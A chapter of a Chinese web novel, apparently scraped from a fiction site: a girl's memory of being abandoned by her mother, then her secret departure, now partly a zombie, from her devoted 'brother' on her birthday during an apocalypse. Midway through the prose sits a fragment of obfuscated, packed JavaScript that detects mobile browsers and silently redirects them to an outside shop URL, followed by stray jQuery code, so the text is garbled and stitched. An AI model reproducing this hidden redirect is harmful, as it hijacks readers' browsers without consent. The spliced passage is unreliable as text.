记忆里她是在全家人的期待下出生的。
那个被她喊做妈妈的女人身上总是泛着一股奶香，喜欢亲她的脸颊说这是“我的宝贝”，而那个被称之为爸爸的男人不善言辞，却总是在别人夸她可爱时笑得最骄傲。
直到她被查出患有先天性心脏病，幼小的她还并不懂这意味着什么，只是很少看见父母再对着她笑了。
他们没有因此薄待她，而是积极地带着她去各地治病。幼儿本就体弱，有好几次手术差点没抢救回来。不殷实的家财几乎散尽，半夜总是能听到低低的呜咽和压抑的叹息。
父母越吵越凶，欠的债也越来越多。
尽管后面她的病治好了，但体质依旧很差，三天两头感冒发烧，养了很久才有变好的迹象。
裂痕终于在她七岁那年膨胀到无法忽视的地步，父母离婚，她被判给了妈妈。
自那以后，妈妈对她淡漠了许多，情绪也越来越不稳定，气急了还会打她，为了好过一点她逐渐养成了逆来顺受的性子。
在她九岁那年的某一天，妈妈突然一反常态，对她温言细语笑脸相向。
“宝贝，今天带你去庙里祈福，顺便去游乐园玩，开不开心？”
她兴奋得忘了问为什么。
妈妈给她穿上了新买的小裙子，扎了一个精致的小辫子，把她打扮得漂漂亮亮，然后牵着她的手出门。
那日晴光正好，街上熙攘，她蹦蹦跳跳地走着，跟着妈妈来到城里最有名的寺庙。她们祈完福并没有立刻离开。
妈妈把她带到了一个长着胡子的老先生面前，那里摊着几枚古旧的东西。
“先生，帮我算算我女儿的命。”
老先生说了好多听不懂的话，只有一句她听得格外清晰。
“……这孩子活不过21岁。”
她害怕地牵紧妈妈的手，仰头小心翼翼地观察她的脸色。
妈妈很平静，笑着揉揉她的头发说，“宝贝不怕，我们去游乐园玩。”
游乐园很大，进去的时候她一眼就看到了卖棉花糖的摊位，想吃却不敢说。
没想到妈妈却主动问她，“宝贝想不想吃棉花糖？”
她有些受宠若惊地点头。然后她吃到了最大的那一串。
“想要什么就说，妈妈买得起。”
她开心得不能自已。那天她几乎把游乐园所有项目都玩了一遍，还有妈妈陪着她一起笑一起叫。
晚饭是在外面的馆子吃的，妈妈给她点了很多菜，自己却吃得很少。这是离婚后她们第一次来外面吃。
“妈妈，我爱你。”她说。
妈妈的筷子停在半空里，眼里慢慢起了水光，嘴角往上扬了一点。
“嗯。”她应了一声，很轻。
吃完饭，妈妈带她去商场。新衣服被一件件装进袋子里，新玩具发出塑料的亮光，多得她快提不下。妈妈又说带她去附近散散步。
走到一处梧桐树下，妈妈的手机突然响起。
“宝贝，妈妈有点事情要去处理，”妈妈蹲下来，替她把裙摆理平，又把她手里那些袋子摆得稳一点，“你在这里等我好不好？我马上回来。”
她拿着那个几乎能将她整张脸盖住的棉花糖，茫然地等在原地。
后来袋子的绳子勒进指缝里，她换了好几次手。她想叫一声“妈妈”，又怕自己叫大声了会惹人烦，只好把声音咽回去，揉着脚踝坐在旁边的石墩上。
回头看是一座被遗忘的孤儿院，往前看女人的身影淹没在喧哗的人群中，再也没回来。
风吹过头顶的梧桐树，一片焦黄的枯叶仍倔强地攀在枝头，摇摇欲坠。
深秋了。
人们匆匆忙忙从她身侧越过，将要迈入下一个季节。
可她的世界永远困在那一天，再也走不出来了。
*
阮时卿醒来的时候是末日第六天上午。
体内的燥热终于褪去，她也不烧了，但饥饿的胃里像是有个巨大的空洞灼烧着她。
与此同时，她感觉自己的手像是被人握在掌心，指缝间传来指腹粗粝的触感。
她抬起眼，正好望见成晏背对着她坐在床边，低头专注地看着什么，室内响起清亮的指甲断裂声。
他大约也没有察觉到她醒了，她也没说话，就这样静静地看着他的背影。
窗外的光亮得刺眼，金光从他周身流泻下来，衬得他黯淡了些，也瘦了。
身上很舒服，没有从屠宰场出来的怪味，她已经换上了睡衣，但还是遮掩不住早已蔓延到全身的青黑斑痕。
她用右手摸了摸脸颊，凸起的异感很明显，像是某种永久的烙印。
泪水毫无征兆地涌了出来。
这俨然是一种已经感染的状态，但不知道为什么仍能保留人类意识。
她咬着舌根，咽下苦涩，极力压抑对血肉的渴望，哑着嗓子说，“哥……”
给她剪指甲的男人顿了下，低头吹了吹她手上的灰，然后小心地塞回被子里，这才回头。
“什么时候醒的？”他一边说一边用手背试了试她额上的温度，脸上总算才有了点笑，“不烧了。”
她要挣扎着坐起来，成晏便扶着她。
近距离看才发现他眼睑下方是几乎一夜未睡的积倦，还有新冒出来的点点胡茬，大概是一直守在她身边忙得没空管理自己的形象。
“生日快乐，卿卿。”他轻刮了下她的鼻尖，嘴角又上扬了几分，“又长大一岁。”
是啊，又长大一岁，也离那个死亡的预言更进了一步。
阮时卿仍咬着牙关，勉强挤出一丝笑容。
“笑不出来就别笑了，跟哭似的。”成晏无奈地捏捏她的脸，“今天我们的小寿星最大，想吃点什么？”
“蛋糕。”她眨了眨眼睛，模样看起来乖巧得很，“蛋糕店里的那种。”
“生日怎么会忘了这个。”他说，“但是空腹吃不好，先吃点别的垫垫肚子。”
“不要，我就要这个。”她坚持，“今天我最大，听我的。”
“行行行，你说了算。”成晏的脾气异常的好，声音也放软了许多。
他很快穿上外套，朝门口走，“那你待在家，不许乱跑，我再带点馄饨回来。”
像是不放心似的，都握住把手了他还要回头再确认一遍，“等我回来。”
阮时卿乖巧点头。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16952283|192207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>他走以后，她才从那种压抑紧绷的状态里解脱出来，但因为没有进食，尽管已经异化，体质仍然十分虚弱。
她强撑着起床，随便吃了点面包，味同嚼蜡。
阮时卿找了一件成晏的大衣将自己裹得严严实实，衣摆一直长到脚踝，然后戴好围巾和棉帽，围巾很厚实，面料撑开一点能将半张脸都遮住。
背包里只剩两瓶水，她什么也没装，直接背上就出了门。
妈妈爱她，对她也不坏，却在最后一天用温情将她溺毙。
也是从那时候起，她才知道原来爱是有代价的。就像火焰的明亮，只建立在木柴燃烧的灰烬上，等它燃尽，就只剩一地狼藉和无尽悔恨。
所幸，她在成晏这里获得了毫无保留的纯粹的爱。血缘都保证不了的唯一和永远，他却能义无反顾。
所以她才更不能拖累他。
【对不起，哥哥，我的最后一个生日愿望就是希望你好好活着。】
——那是她临走前在便利签上留下的唯一一句话。
……
出了门，阮时卿径直朝基地出口走去，一路上没人认识她，谁也不会朝一个背着背包的小姑娘打量。
基地一向严进松出，只需要一个个排队就行，但不知道为什么，今天似乎检查得格外严格。队伍排得很长，人们大多外出寻找物资。
“有身份证明吗？”
“有的有的。”
阮时卿站在队伍的后面，隐约听到最前面检查时的交涉，好在她带了基地发放的身份证明。
然而前面两个男人的话却让她不寒而栗。
“欸你知道吗？昨天有个女人一个人杀了食尸者！好像还特别年轻。”
“食尸者？那个高阶丧尸？！天呐，听说上次折损了好多人才杀掉一只，一个人是怎么做到的？谣传吧？”
“那不清楚，我朋友跟我说的有鼻子有眼的，还听说上面已经在找这个人了。”
“唉我不关心这些，我就是担心咱们基地的安全，要是以后这丧尸越来越多可怎么办。”
“我有小道消息，上面的人已经针对这次危机专门成立了一个实验室，说不定这末日很快就结束了。”
“拿什么实验？”
“不清楚……”
在找她？找她干什么，难道是已经发现了她尸化的事实？
她表面波澜不惊，实际上已经快要按捺不住自己想要咬人的冲动。唇角被她死死咬着，很快尝到了一丝血腥。
排了大概十分钟，终于快轮到她检查，结果前面的人突然被地上的石头绊了一下直直地向她倒过来。
阮时卿迅速躲开，虽然没有被撞倒，但脖子上的围巾却在慌乱之中被他拽了下来。
“不好意思不好意……”男人还没说完便大叫一声，一脸惊恐地向后退。
“你……你……”
其他人瞬间被吸引了注意力，就在他们都看过来的时候，一双大手突然从身后搂过来，不由分说地将阮时卿拥进怀里，宽大的外套几乎将她整个人罩住，视野瞬间漆黑一片。
她一抬头却能看见成晏泛红的眼睛。
“宝宝，别闹脾气了，跟我回家。”